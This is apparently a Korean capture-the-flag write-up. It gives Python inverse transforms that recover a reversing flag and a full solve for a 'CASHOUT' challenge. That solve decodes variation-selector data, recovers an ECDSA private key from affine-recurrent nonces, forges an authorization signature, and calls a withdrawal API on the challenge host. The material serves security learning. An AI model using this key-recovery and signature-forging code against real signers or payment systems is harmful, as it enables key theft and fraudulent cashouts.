def pod4_forward(data: bytes, round_: int) -> bytes:
    assert len(data) == 32
    key, masks = _parameters(round_)
    lanes = struct.unpack("<4Q", data)
    out = []
```

```
    for lane, mask in zip(lanes, masks):
        transformed = _rol((_rol((lane + key) & MASK, 7) ^ key) + key & MASK, 11)
        out.append(transformed ^ mask)
    return struct.pack("<4Q", *out)

def pod4_inverse(data: bytes, round_: int) -> bytes:
    assert len(data) == 32
    key, masks = _parameters(round_)
    lanes = struct.unpack("<4Q", data)
    out = []
    for lane, mask in zip(lanes, masks):
        transformed = lane ^ mask
        out.append((_ror((_ror(transformed, 11) - key) & MASK ^ key, 7) - key) & MASK)
    return struct.pack("<4Q", *out)

if __name__ == "__main__":
    import random

    rng = random.Random(0xE4E4)
    for round_ in range(100):
        for _ in range(3):
            original = rng.randbytes(32)
            assert pod4_inverse(pod4_forward(original, round_), round_) == original
    print("Pod4 model roundtrips passed for rounds 0..99")
```

invert_pod5.py

코드 블록 (python)

```
"""Pod5 byte affine map and 8-byte lane permutation, from Go `core.Apply`."""

from __future__ import annotations

MASK32 = 0xFFFFFFFF

def xorshift32(value: int) -> int:
    value &= MASK32
    value ^= (value << 13) & MASK32
    value ^= value >> 17
    value ^= (value << 5) & MASK32
    return value & MASK32

def parameters(round_: int) -> tuple[int, int, list[int]]:
    assert 0 <= round_ < 100
    m_seed = ((round_ * 0x6D2B79F5) & MASK32) ^ 0x9E3779BC
    b_seed = ((round_ * 0x9E3779B9) & MASK32) ^ 0x517CC1B2
    multiplier = (xorshift32(m_seed) & 0xFE) | 1
    offset = xorshift32(b_seed) & 0xFF
    state = xorshift32(round_ ^ 0xDEADBEEA)
    permutation = list(range(4))
    for i in range(3, 0, -1):
        state = xorshift32(state)
        j = state % (i + 1)
        permutation[i], permutation[j] = permutation[j], permutation[i]
    return multiplier, offset, permutation

def pod5_forward(data: bytes, round_: int) -> bytes:
    assert len(data) == 32
    multiplier, offset, permutation = parameters(round_)
    affine = bytes((value * multiplier + offset) & 0xFF for value in data)
    output = bytearray(32)
    for lane in range(4):
        destination = permutation[lane]
        output[8 * destination : 8 * destination + 8] = affine[8 * lane : 8 * lane + 8]
    return bytes(output)

def pod5_inverse(data: bytes, round_: int) -> bytes:
    assert len(data) == 32
    multiplier, offset, permutation = parameters(round_)
    affine = bytearray(32)
    for lane in range(4):
        source = permutation[lane]
        affine[8 * lane : 8 * lane + 8] = data[8 * source : 8 * source + 8]
    inverse_multiplier = pow(multiplier, -1, 256)
    return bytes(((value - offset) * inverse_multiplier) & 0xFF for value in affine)

if __name__ == "__main__":
    import random

    rng = random.Random(0xE5E5)
    for round_ in range(100):
        for _ in range(4):
            state = rng.randbytes(32)
            assert pod5_inverse(pod5_forward(state, round_), round_) == state
    print("pod5 100라운드 왕복 검사 통과")
```

invert_pods6_9.py

코드 블록 (python)

```
"""Local reconstruction of ezpz pod 6 and 9 state transforms.

The organizer files remain untouched. All words are signed little-endian i32.
"""

import math
import struct

MASK32 = 0xFFFFFFFF
```

```
def wrap_i32(value):
    return ((value + 0x80000000) & MASK32) - 0x80000000

def unpack(data):
    return list(struct.unpack("<8i", data))

def pack(words):
    return struct.pack("<8i", *(wrap_i32(x) for x in words))

class Stream:
    def __init__(self, pod_id, round_):
        seeds = {6: 0x506F6436, 9: 0x506F6439}
        self.state = (
            seeds[pod_id]
            ^ ((round_ * 0x9E3779B9) & MASK32)
            ^ ((pod_id * 0x2545F491) & MASK32)
        ) & MASK32

    def next_u32(self):
        x = self.state
        x ^= (x << 13) & MASK32
        x ^= x >> 17
        x ^= (x << 5) & MASK32
        self.state = x & MASK32
        return self.state

    def next_int(self, lo, hi):
        return lo + self.next_u32() % (hi - lo + 1)

def pod6_parameters(round_):
    stream = Stream(6, round_)
    weights = []
    for _ in range(8):
        coeffs = [stream.next_int(-15, 15) for _ in range(8)]
        hull = []
        for point in enumerate(coeffs):
            while len(hull) >= 2:
                o, a = hull[-2:]
                cross = (a[0] - o[0]) * (point[1] - o[1]) - (
                    a[1] - o[1]
                ) * (point[0] - o[0])
                if cross > 0:
                    break
                hull.pop()
            hull.append(point)
        roots = []
        for (i1, c1), (i2, c2) in zip(hull, hull[1:]):
            roots.extend([-(c2 - c1) / (i2 - i1)] * (i2 - i1))
        roots.sort()
        prefix = [0.0]
        for root in roots:
            prefix.append(prefix[-1] + root)
        row = [
            math.floor(prefix[len(roots) - j] + 0.5)
            if prefix[len(roots) - j] >= 0
            else -math.floor(-prefix[len(roots) - j] + 0.5)
            for j in range(len(roots) + 1)
        ]
        weights.append(wrap_i32(sum(i * c for i, c in enumerate(row, 1))))
    perm = list(range(8))
    for i in range(7, 0, -1):
        j = stream.next_int(0, i)
        perm[i], perm[j] = perm[j], perm[i]
    return perm, weights

def pod6_forward(data, round_):
    words = unpack(data)
    perm, weights = pod6_parameters(round_)
    return pack([words[perm[i]] + weights[i] for i in range(8)])

def pod6_inverse(data, round_):
    output = [0] * 8
    perm, weights = pod6_parameters(round_)
    for i, word in enumerate(unpack(data)):
        output[perm[i]] = word - weights[i]
    return pack(output)

def pod9_parameters(round_):
    stream = Stream(9, round_)
    return stream.next_int(0, 7), stream.next_int(-15, 15)

def pod9_forward(data, round_):
    words = unpack(data)
    shift, offset = pod9_parameters(round_)
    return pack([words[(i - shift) % 8] + offset for i in range(8)])

def pod9_inverse(data, round_):
    output = [0] * 8
    shift, offset = pod9_parameters(round_)
    for i, word in enumerate(unpack(data)):
        output[(i - shift) % 8] = word - offset
    return pack(output)
```

invert_pods7_8.py

코드 블록 (python)

```
"""Pure local model of ezpz pods 7 and 8; never imports organizer JARs."""
```

```
from __future__ import annotations

import hashlib
import struct

MASK = 0xFFFFFFFF
GAMMA = 0x9E3779B9
MIXER = 625341585
SEEDS = {7: 1349477431, 8: 1349477432}

class Stream:
    def __init__(self, pod: int, round_number: int):
        self.state = (
            SEEDS[pod]
            ^ ((round_number * GAMMA) & MASK)
            ^ ((pod * MIXER) & MASK)
        ) & MASK

    def next_u32(self) -> int:
        x = self.state
        x ^= (x << 13) & MASK
        x ^= x >> 17
        x ^= (x << 5) & MASK
        self.state = x & MASK
        return self.state

    def next_int(self, low: int, high: int) -> int:
        return low + self.next_u32() % (high - low + 1)

def pod7_forward(state: bytes, round_number: int) -> tuple[bytes, int]:
    x = struct.unpack("<8I", state)
    key = Stream(7, round_number).next_u32()
    y = [(x[0] + key) & MASK]
    y.extend((x[i] - x[0]) & MASK for i in range(1, 8))
    checksum = int.from_bytes(
        hashlib.sha256(struct.pack("<II", y[0], key)).digest()[:4], "little"
    )
    return struct.pack("<8I", *y), checksum

def pod7_inverse(state: bytes, round_number: int) -> bytes:
    y = struct.unpack("<8I", state)
    key = Stream(7, round_number).next_u32()
    x0 = (y[0] - key) & MASK
    x = [x0]
    x.extend((y[i] + x0) & MASK for i in range(1, 8))
    return struct.pack("<8I", *x)

def pod8_derive(round_number: int) -> tuple[list[int], list[int], list[int]]:
    stream = Stream(8, round_number)
    permutation = list(range(8))
    for i in range(7, 0, -1):
        j = stream.next_int(0, i)
        permutation[i], permutation[j] = permutation[j], permutation[i]
    weights = [stream.next_int(-15, 15) for _ in range(8)]
    delta_key = [stream.next_int(-15, 15) for _ in range(8)]
    return permutation, weights, delta_key

def pod8_forward(state: bytes, round_number: int) -> bytes:
    x = struct.unpack("<8I", state)
    permutation, weights, delta_key = pod8_derive(round_number)
    a = [(x[permutation[i]] + weights[i]) & MASK for i in range(8)]
    y = []
    previous = 0
    for i, value in enumerate(a):
        y.append((value - previous + delta_key[i]) & MASK)
        previous = value
    return struct.pack("<8I", *y)

def pod8_inverse(state: bytes, round_number: int) -> bytes:
    y = struct.unpack("<8I", state)
    permutation, weights, delta_key = pod8_derive(round_number)
    x = [0] * 8
    previous = 0
    for i in range(8):
        value = (previous + y[i] - delta_key[i]) & MASK
        x[permutation[i]] = (value - weights[i]) & MASK
        previous = value
    return struct.pack("<8I", *x)

if __name__ == "__main__":
    for round_number in range(100):
        sample = hashlib.sha256(f"pod78-round-{round_number}".encode()).digest()
        p7, _ = pod7_forward(sample, round_number)
        assert pod7_inverse(p7, round_number) == sample
        p8 = pod8_forward(sample, round_number)
        assert pod8_inverse(p8, round_number) == sample
    print("pod7/pod8 pure-model roundtrips passed for rounds 0..99")
```

invert_tail.py

코드 블록 (python)

```
"""Invert ezpz stages 10 through 6 for each allowed round."""

import json
from pathlib import Path

from invert_pods6_9 import pack, pod6_inverse, pod9_inverse, unpack
from invert_pods7_8 import pod7_inverse, pod8_inverse
```

```
ROOT = Path(__file__).resolve().parent
TARGET = bytes.fromhex((ROOT / "target_state.hex").read_text().strip())
POD10_PERMS = json.loads((ROOT / "pod10_perm.json").read_text())["perms"]

def pod10_inverse(data, round_):
    words = unpack(data)
    perm = POD10_PERMS[round_]
    assert sorted(perm) == list(range(8))
    inverse = [0] * 8
    for i, word in enumerate(words):
        inverse[perm[i]] = word
    return pack(inverse)

def invert_tail(data, round_):
    state = pod10_inverse(data, round_)
    state = pod9_inverse(state, round_)
    state = pod8_inverse(state, round_)
    state = pod7_inverse(state, round_)
    state = pod6_inverse(state, round_)
    return state

if __name__ == "__main__":
    assert len(TARGET) == 32
    assert len(POD10_PERMS) == 100
    # Pod 1 runs rounds 0..99 in order, so the final target belongs to round 99.
    print(invert_tail(TARGET, 99).hex())
```

pod10_perm.json

코드 블록 (json)


```
{"model":"out[i] = in[perm[round][i]]","perms":[[3,6,7,1,2,5,0,4],[1,5,7,2,3,4,6,0],[3,6,4,7,0,2,1,5],[7,4,3,5,2,0,
6,1],[2,5,1,7,0,3,6,4],[0,5,6,3,1,2,4,7],[7,1,2,5,3,0,4,6],[2,4,5,0,6,1,7,3],[7,2,3,5,6,0,4,1],[4,7,2,3,6,1,5,0],[1,
7,3,4,2,0,6,5],[3,5,2,4,1,0,7,6],[6,7,0,5,2,4,1,3],[0,4,3,1,2,5,6,7],[3,7,5,2,0,1,6,4],[2,7,0,6,4,3,5,1],[2,0,7,4,3,
5,1,6],[5,4,2,6,1,7,0,3],[1,5,2,3,0,7,6,4],[0,6,4,1,5,7,3,2],[5,6,0,7,1,3,2,4],[7,4,3,5,2,1,0,6],[3,1,5,4,7,2,0,6],[
3,1,2,5,0,7,4,6],[6,1,5,0,4,3,2,7],[1,4,2,3,6,5,7,0],[3,1,7,5,2,4,0,6],[2,3,4,6,0,5,1,7],[6,3,4,2,0,7,1,5],[7,6,0,4,
5,2,1,3],[4,5,2,0,7,6,3,1],[3,5,0,7,4,2,1,6],[1,4,3,5,6,0,7,2],[0,1,7,2,3,6,5,4],[6,3,2,0,1,4,7,5],[2,5,4,7,6,0,3,
1],[2,5,4,1,3,0,7,6],[5,1,0,4,7,3,2,6],[7,4,2,0,6,3,5,1],[1,7,3,6,4,5,0,2],[7,6,1,2,4,0,5,3],[0,6,2,7,1,3,4,5],[7,1,
0,3,6,4,2,5],[0,2,1,7,3,4,5,6],[2,6,4,7,0,1,3,5],[6,4,7,5,3,0,2,1],[5,0,7,4,2,1,6,3],[0,4,5,7,6,3,2,1],[6,0,1,5,4,2,
3,7],[4,5,1,0,2,7,6,3],[3,0,2,4,1,5,6,7],[3,4,7,6,5,1,2,0],[0,3,1,2,5,6,4,7],[2,5,0,1,6,3,7,4],[0,1,3,5,2,4,6,7],[6,
2,0,4,1,5,7,3],[6,4,0,3,5,2,7,1],[0,6,1,3,4,7,5,2],[3,2,7,5,4,6,0,1],[2,0,1,7,5,4,6,3],[4,1,2,3,6,7,0,5],[3,0,7,2,4,
1,5,6],[7,6,3,5,1,4,0,2],[2,1,6,3,0,5,4,7],[2,3,1,0,4,6,5,7],[7,1,5,6,3,0,4,2],[5,3,0,6,1,7,2,4],[3,2,1,7,4,0,5,6],[
7,3,0,6,2,5,1,4],[7,2,5,4,1,3,6,0],[0,1,7,6,4,5,3,2],[7,0,3,6,4,1,5,2],[7,2,4,5,3,1,0,6],[2,6,5,4,3,1,0,7],[4,2,5,3,
1,7,0,6],[7,5,3,1,0,6,4,2],[0,4,3,5,1,6,2,7],[5,1,2,3,6,0,7,4],[4,3,1,6,5,7,2,0],[6,4,3,5,1,0,2,7],[3,4,2,6,0,1,5,
7],[6,2,7,4,5,3,0,1],[5,1,3,0,6,2,4,7],[0,5,6,3,4,7,1,2],[4,0,2,7,6,5,1,3],[0,4,7,6,2,1,5,3],[7,5,6,0,1,4,3,2],[0,4,
6,5,1,2,7,3],[2,6,5,3,4,1,7,0],[1,3,7,0,2,4,5,6],[4,6,2,5,0,7,1,3],[3,1,5,4,7,2,0,6],[2,4,0,5,6,1,3,7],[3,0,1,4,2,5,
7,6],[0,7,4,3,2,6,1,5],[3,2,1,7,0,6,4,5],[1,5,7,6,0,2,3,4],[4,3,7,0,6,5,1,2],[7,4,0,1,2,3,5,6],[3,0,4,2,1,6,7,5]]}
```


target_state.hex

코드 블록 (text)


```
0f72c0ba6e781eb1d5942c48d949f73261a8155ca4d58201aa0f91c3577e20b9
```


재현 결과

코드 블록 (text)

```
초기 상태: msgctf2026{u_mad?_come_to_Aegis}
정방향 최종 상태: 0f72c0ba6e781eb1d5942c48d949f73261a8155ca4d58201aa0f91c3577e20b9
target_state.hex와 일치
```

15. CASHOUT

분야	MISC
상태	완료

풀이 과정

풀이 과정

정산 영수증 64개 중 wallet_id를 NFKC 정규화했을 때 CASH가 되는 16개를 골랐다. 다른 식별자에 붙은 보이지 않는 variation selector를 바이트로 복원해 서명기 정보를 얻었다. 영수증의 ECDSA nonce가 연속적인 affine 점화식을 따른다는 사실을 이용해 개인키를 구했다. 그 키로 배치 인가 서명을 만들고, 단말 바이너리의 변환을 역산해 witness를 생성했다. 정산 후 출금 API가 플래그를 반환했다.

익스플로잇 코드 / 분석 코드 전체

아래는 영수증 수집과 복원, 서명 키 계산, 단말 증인값 역산, 정산·출금에 사용한 코드 및 보조 함수 전체다. 원본 PE와 인스턴스별 영수증 데이터는 문제 입력 자료다. 재현할 때는 새 세션의 challenge에 맞춰 증인값을 다시 계산한다.

코드 블록 (text)

```
pip install -r requirements.txt
python collect.py --base <제공된_문제_인스턴스_URL> --data-dir <작업_디렉터리>
python decoder_c16.py --data-dir <작업_디렉터리>
python solve_signer.py --data-dir <작업_디렉터리>
python reconcile_client.py --base <제공된_문제_인스턴스_URL> --data-dir <작업_디렉터리> prepare
python solve_terminal.py <작업_디렉터리>/reconcile_session.json
python reconcile_client.py --base <제공된_문제_인스턴스_URL> --data-dir <작업_디렉터리> run --private-key <복원한_키> --witness
<복원한_증인값>
python reconcile_client.py --base <제공된_문제_인스턴스_URL> --data-dir <작업_디렉터리> cashout --voucher <반환된_voucher>
```

collect.py

코드 블록 (python)

```
"""Collect bounded, read-only settlement pages from the designated challenge host."""

import argparse
import json
from pathlib import Path

import requests

BASE = "https://9831778dd45033c84f4f5c79d326cfdb.gate.msgctf.kr"
OUT = Path(__file__).resolve().parent

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--base", default=BASE, help="authorized challenge origin")
    parser.add_argument("--data-dir", type=Path, default=OUT)
    args = parser.parse_args()
    base = args.base.rstrip("/")
    out = args.data_dir
    out.mkdir(parents=True, exist_ok=True)
    session = requests.Session()
    pages = []
    records = []
    cursor = None
    for index in range(16):
        params = {"cursor": cursor} if cursor else None
        response = session.get(f"{base}/api/v1/settlements", params=params, timeout=12)
        response.raise_for_status()
        page = response.json()
        if not page.get("ok"):
            raise RuntimeError(page)
        pages.append(page)
        records.extend(page["records"])
        cursor = page.get("next_cursor")
        print(f"page={index+1} records={len(page['records'])} total={len(records)} next={bool(cursor)}")
        if cursor is None:
            break
    else:
        raise RuntimeError("Pagination exceeded 16-page safety bound")
    (out / "settlement_pages.json").write_text(json.dumps(pages, ensure_ascii=False, indent=2), encoding="utf-8")
    (out / "settlements.json").write_text(json.dumps(records, ensure_ascii=False, indent=2), encoding="utf-8")

if __name__ == "__main__":
    main()
```

decoder_c16.py

코드 블록 (python)

```
"""Inspect and reconstruct the C16 reel in rejected wallet identifiers."""

import argparse
```

```
import json
import binascii
from collections import Counter
from pathlib import Path

HERE = Path(__file__).resolve().parent

def selector_byte(char: str) -> int | None:
    value = ord(char)
    if 0xFE00 <= value <= 0xFE0F:
        return value - 0xFE00
    if 0xE0100 <= value <= 0xE01EF:
        return value - 0xE0100 + 16
    return None

def xor_bytes(a: bytes, b: bytes) -> bytes:
    return bytes(x ^ y for x, y in zip(a, b))

def reconstruct(packets: list[bytes]) -> list[bytes]:
    basis: list[tuple[int, bytes] | None] = [None] * 32
    frame_marker = packets[0][7:10]
    for raw in packets:
        assert raw[:3] == b"C16" and raw[7:10] == frame_marker and len(raw) == 41
        assert binascii.crc_hqx(raw[:-2], 0xFFFF).to_bytes(2, "big") == raw[-2:]
        mask = int.from_bytes(raw[3:7], "little")
        payload = raw[10:39]
        while mask:
            pivot = (mask & -mask).bit_length() - 1
            if basis[pivot] is None:
                basis[pivot] = mask, payload
                break
            known_mask, known_payload = basis[pivot]
            mask ^= known_mask
            payload = xor_bytes(payload, known_payload)
        else:
            assert payload == bytes(29), "inconsistent XOR equation"
    rank = sum(item is not None for item in basis)
    print("matrix rank:", rank)
    assert rank == 32
    columns: list[bytes] = [bytes(29)] * 32
    for i in reversed(range(32)):
        mask, payload = basis[i]
        for j in range(i + 1, 32):
            if mask & (1 << j):
                payload = xor_bytes(payload, columns[j])
        columns[i] = payload
    for raw in packets:
        mask = int.from_bytes(raw[3:7], "little")
        check = bytes(29)
        for i in range(32):
            if mask & (1 << i):
                check = xor_bytes(check, columns[i])
        assert check == raw[10:39], "packet did not replay"
    return columns

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--data-dir", type=Path, default=HERE)
    args = parser.parse_args()
    records = json.loads((args.data_dir / "settlements.json").read_text(encoding="utf-8"))
    data = [bytes(v for ch in item["wallet_id"] if (v := selector_byte(ch)) is not None) for item in records]
    print("record count:", len(data), "selector lengths:", Counter(map(len, data)))
    packets = [raw for raw in data if raw]
    columns = reconstruct(packets)
    for i, raw in enumerate(columns):
        print(f"column {i:02d}:", raw.hex(), repr(raw))
    reel = b"".join(columns)
    (args.data_dir / "c16_reel.bin").write_bytes(reel)
    print("reel size:", len(reel), "prefix:", repr(reel[:128]))

if __name__ == "__main__":
    main()
```

solve_signer.py

코드 블록 (python)

```
"""Recover the retired ECDSA signer from its affine nonce recurrence.

Uses the signed settlement data and the public key recovered from the C16 reel.
The optional session challenge is used only to calculate a local authorization.
"""

import argparse
import hashlib
import json
import unicodedata
import zlib
from pathlib import Path

from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec, utils

ORDER = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
FIELDS = ("settlement_id", "settled_at", "league", "score", "pick", "stake", "odds", "payout", "wallet_id", "nonce")
HERE = Path(__file__).resolve().parent

def sqrt_mod_prime(value: int, prime: int) -> int | None:
    """Tonelli-Shanks square root, or None for a quadratic nonresidue."""
```

```
    value %= prime
    if value == 0:
        return 0
    if pow(value, (prime - 1) // 2, prime) != 1:
        return None
    q, s = prime - 1, 0
    while q & 1 == 0:
        q >>= 1
        s += 1
    if s == 1:
        return pow(value, (prime + 1) // 4, prime)
    z = 2
    while pow(z, (prime - 1) // 2, prime) != prime - 1:
        z += 1
    c = pow(z, q, prime)
    x = pow(value, (q + 1) // 2, prime)
    t = pow(value, q, prime)
    m = s
    while t != 1:
        i = 1
        tt = t * t % prime
        while tt != 1:
            tt = tt * tt % prime
            i += 1
        b = pow(c, 1 << (m - i - 1), prime)
        x = x * b % prime
        t = t * b * b % prime
        c = b * b % prime
        m = i
    return x

def solve_quadratic(a: int, b: int, c: int) -> list[int]:
    a %= ORDER
    b %= ORDER
    c %= ORDER
    if a == 0:
        if b == 0:
            raise ValueError("Degenerate four-signature selection")
        return [(-c * pow(b, -1, ORDER)) % ORDER]
    root = sqrt_mod_prime((b * b - 4 * a * c) % ORDER, ORDER)
    if root is None:
        raise ValueError("No ECDSA/LCG solution from selected signatures")
    inverse = pow(2 * a, -1, ORDER)
    return list({((-b + sign * root) * inverse) % ORDER for sign in (-1, 1)})

def main() -> None:
    parser = argparse.ArgumentParser()
    parser.add_argument("--challenge", help="hex session challenge from POST /api/v4/session")
    parser.add_argument("--data-dir", type=Path, default=HERE,
                        help="directory containing settlements.json and c16_reel.bin")
    args = parser.parse_args()

    rows = sorted(json.loads((args.data_dir / "settlements.json").read_text(encoding="utf-8")), key=lambda row: row[
"settled_at"])
    assert len(rows) == 64
    reel = json.loads(zlib.decompress((args.data_dir / "c16_reel.bin").read_bytes()))
    signer = reel["artifacts"]["signer.pub"]
    pub_x, pub_y = int(signer["x"], 16), int(signer["y"], 16)
    public = ec.EllipticCurvePublicNumbers(pub_x, pub_y, ec.SECP256K1()).public_key()
    affine = []
    for row in rows:
        message = "|".join(str(row[field]) for field in FIELDS).encode("utf-8")
        r, s = (int(part, 16) for part in row["proof"].split(":"))
        public.verify(utils.encode_dss_signature(r, s), message, ec.ECDSA(hashes.SHA256()))
        z = int.from_bytes(hashlib.sha256(message).digest(), "big") % ORDER
        inverse_s = pow(s, -1, ORDER)
        affine.append((r * inverse_s % ORDER, z * inverse_s % ORDER))

    # k_i = a_i*d+b_i, and an affine recurrence gives
    # (k_3-k_2)*(k_1-k_0) = (k_2-k_1)^2.
    da = [(affine[i+1][0] - affine[i][0]) % ORDER for i in range(3)]
    db = [(affine[i+1][1] - affine[i][1]) % ORDER for i in range(3)]
    quadratic_a = (da[2] * da[0] - da[1] * da[1]) % ORDER
    quadratic_b = (da[2] * db[0] + db[2] * da[0] - 2 * da[1] * db[1]) % ORDER
    quadratic_c = (db[2] * db[0] - db[1] * db[1]) % ORDER

    private_scalar = None
    for candidate in solve_quadratic(quadratic_a, quadratic_b, quadratic_c):
        candidate_public = ec.derive_private_key(candidate, ec.SECP256K1()).public_key().public_numbers()
        if (candidate_public.x, candidate_public.y) == (pub_x, pub_y):
            private_scalar = candidate
            break
    assert private_scalar is not None, "No quadratic root matches archived public key"

    nonces = [(a * private_scalar + b) % ORDER for a, b in affine]
    multiplier = (nonces[2] - nonces[1]) * pow((nonces[1] - nonces[0]) % ORDER, -1, ORDER) % ORDER
    increment = (nonces[1] - multiplier * nonces[0]) % ORDER
    assert all(nonces[i+1] == (multiplier * nonces[i] + increment) % ORDER for i in range(len(nonces)-1))
    accepted = [row for row in rows if unicodedata.normalize("NFKC", row["wallet_id"]) == "CASH"]
    assert len(accepted) == 16
    instance = reel["instance"]
    seal_input = bytearray(b"cashout16-batch₩x00" + instance.encode("ascii"))
    for row in accepted:
        r, s = (int(part, 16) for part in row["proof"].split(":"))
        seal_input += r.to_bytes(32, "big") + s.to_bytes(32, "big")
    batch_seal = hashlib.sha256(seal_input).hexdigest()

    print("private_scalar", f"{private_scalar:064x}")
    print("multiplier", f"{multiplier:064x}")
```

```
    print("increment", f"{increment:064x}")
    print("accepted_ids", json.dumps([row["settlement_id"] for row in accepted]))
    print("accepted_payout", sum(row["payout"] for row in accepted))
    print("batch_seal", batch_seal)

    if args.challenge:
        challenge = bytes.fromhex(args.challenge)
        assert len(challenge) == 16
        auth_input = b"cashout16-auth₩x00" + challenge + batch_seal.encode("ascii")
        signature = ec.derive_private_key(private_scalar, ec.SECP256K1()).sign(auth_input, ec.ECDSA(hashes.SHA256(
)))
        r, s = utils.decode_dss_signature(signature)
        print("authorization", f"{r:064x}:{s:064x}")

if __name__ == "__main__":
    main()
```

reconcile_client.py

코드 블록 (python)

```
"""Prepare and submit the documented CASHOUT-16 reconciliation request.

`prepare` opens a fresh challenge session. `run` uses a derived signer key and a
terminal-accepted witness for that exact session. The terminal witness must be
obtained separately; this client does not execute the archived binary.
"""

import argparse
import hashlib
import json
import unicodedata
import zlib
from pathlib import Path

import requests
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec, utils

HERE = Path(__file__).resolve().parent
BASE = "https://9831778dd45033c84f4f5c79d326cfdb.gate.msgctf.kr"
ORDER = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
SESSION_FILE = HERE / "reconcile_session.json"

def source():
    records = json.loads((HERE / "settlements.json").read_text(encoding="utf-8"))
    reel = json.loads(zlib.decompress((HERE / "c16_reel.bin").read_bytes()))
    accepted = sorted(
        (r for r in records if unicodedata.normalize("NFKC", r["wallet_id"]) == "CASH"),
        key=lambda r: r["settled_at"],
    )
    assert len(accepted) == 16
    assert len({r["settled_at"] for r in accepted}) == 16
    scalars = []
    for record in accepted:
        for part in record["proof"].split(":"):
            value = bytes.fromhex(part)
            assert len(value) == 32
            scalars.append(value)
    batch_seal = hashlib.sha256(
        b"cashout16-batch₩0" + reel["instance"].encode("ascii") + b"".join(scalars)
    ).hexdigest()
    return accepted, reel, batch_seal

def prepare():
    accepted, reel, batch_seal = source()
    with requests.Session() as http:
        response = http.post(BASE + "/api/v4/session", timeout=12)
        response.raise_for_status()
        session = response.json()
    assert session.get("ok") is True
    assert len(bytes.fromhex(session["challenge"])) == 16
    assert len(bytes.fromhex(session["session"])) == 16
    data = {
        "session": session["session"],
        "challenge": session["challenge"],
        "batch_seal": batch_seal,
        "settlement_ids": [r["settlement_id"] for r in accepted],
        "instance": reel["instance"],
    }
    SESSION_FILE.write_text(json.dumps(data, indent=2) + "₩n", encoding="utf-8")
    print(json.dumps(data, indent=2))

def run(private_key_hex: str, witness_hex: str):
    accepted, reel, batch_seal = source()
    session = json.loads(SESSION_FILE.read_text(encoding="utf-8"))
    assert session["batch_seal"] == batch_seal
    assert session["instance"] == reel["instance"]
    assert session["settlement_ids"] == [r["settlement_id"] for r in accepted]
    assert len(bytes.fromhex(witness_hex)) == 64 and witness_hex == witness_hex.lower()

    d = int(private_key_hex, 16)
    assert 1 <= d < ORDER
    private_key = ec.derive_private_key(d, ec.SECP256K1())
    public_key = private_key.public_key()
    public_numbers = public_key.public_numbers()
    signer = reel["artifacts"]["signer.pub"]
    assert public_numbers.x == int(signer["x"], 16)
    assert public_numbers.y == int(signer["y"], 16)
```

```
    digest = hashlib.sha256(
        b"cashout16-auth₩0"
        + bytes.fromhex(session["challenge"])
        + batch_seal.encode("ascii")
    ).digest()
    signature = private_key.sign(digest, ec.ECDSA(utils.Prehashed(hashes.SHA256())))
    public_key.verify(signature, digest, ec.ECDSA(utils.Prehashed(hashes.SHA256())))
    r, s = utils.decode_dss_signature(signature)
    authorization = f"{r:064x}:{s:064x}"
    body = {
        "settlement_ids": session["settlement_ids"],
        "batch_seal": batch_seal,
        "authorization": authorization,
        "witness": witness_hex,
    }
    with requests.Session() as http:
        response = http.post(
            BASE + "/api/v4/reconcile/run",
            headers={"X-Cashout-Session": session["session"]},
            json=body,
            timeout=12,
        )
    print("status", response.status_code)
    print(response.text)
    return response.json()

def cashout(voucher: str):
    session = json.loads(SESSION_FILE.read_text(encoding="utf-8"))
    with requests.Session() as http:
        response = http.post(
            BASE + "/api/v1/cashout",
            headers={"X-Cashout-Session": session["session"]},
            json={"voucher": voucher},
            timeout=12,
        )
    print("status", response.status_code)
    print(response.text)
    return response.json()

def main():
    global BASE, HERE, SESSION_FILE
    parser = argparse.ArgumentParser()
    parser.add_argument("--base", default=BASE, help="authorized challenge origin")
    parser.add_argument("--data-dir", type=Path, default=HERE,
                        help="directory containing this instance's data and session")
    sub = parser.add_subparsers(dest="stage", required=True)
    sub.add_parser("prepare")
    submit = sub.add_parser("run")
    submit.add_argument("--private-key", required=True, help="derived signer scalar hex")
    submit.add_argument("--witness", required=True, help="64-byte accepted witness hex")
    withdraw = sub.add_parser("cashout")
    withdraw.add_argument("--voucher", required=True)
    args = parser.parse_args()
    BASE = args.base.rstrip("/")
    HERE = args.data_dir
    SESSION_FILE = HERE / "reconcile_session.json"
    if args.stage == "prepare":
        prepare()
    elif args.stage == "run":
        run(args.private_key, args.witness)
    else:
        cashout(args.voucher)

if __name__ == "__main__":
    main()
```

solve_terminal.py

코드 블록 (python)

```
"""Recover a session-bound CASHOUT terminal witness from challenge and seal."""

import argparse
import json
import time
from pathlib import Path

from emulate_target import generate
from emulate_witness import transform
from projection_rewrite import lift_rewrite
from symbolic_projection import invert_step

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("session_file", type=Path,
                        help="reconcile_session.json produced by reconcile_client.py prepare")
    args = parser.parse_args()
    session = json.loads(args.session_file.read_text(encoding="utf-8"))
    challenge = bytes.fromhex(session["challenge"])
    seal = bytes.fromhex(session["batch_seal"])
    assert len(challenge) == 16 and len(seal) == 32
    target = generate(challenge, seal)
    began = time.monotonic()
    core = lift_rewrite(636)
    state = target
    for step in range(636, -1, -1):
        state = invert_step(core, step, state)
    if transform(state) != target:
        raise RuntimeError("terminal forward transform did not reproduce target")
```

```
    print("target", target.hex())
    print("witness", state.hex())
    print("forward_matches_target", True)
    print("seconds", round(time.monotonic() - began, 2))

if __name__ == "__main__":
    main()
```

emulate_target.py

코드 블록 (python)

```
"""Emulate the pure target-generation routine of the archived terminal PE.

Only PE image bytes execute in Unicorn. The two runtime allocator calls on the
success path are replaced by a fixed scratch allocation; no host APIs run.
"""

import argparse
import sys
from collections import deque
from pathlib import Path

HERE = Path(__file__).resolve().parent
sys.path.insert(0, str(HERE / ".deps"))

import pefile
from unicorn import Uc, UC_ARCH_X86, UC_MODE_64, UC_HOOK_CODE, UC_HOOK_MEM_INVALID
from unicorn.x86_const import (
    UC_X86_REG_RAX,
    UC_X86_REG_RCX,
    UC_X86_REG_RDX,
    UC_X86_REG_R8,
    UC_X86_REG_R9,
    UC_X86_REG_RIP,
    UC_X86_REG_RSP,
)

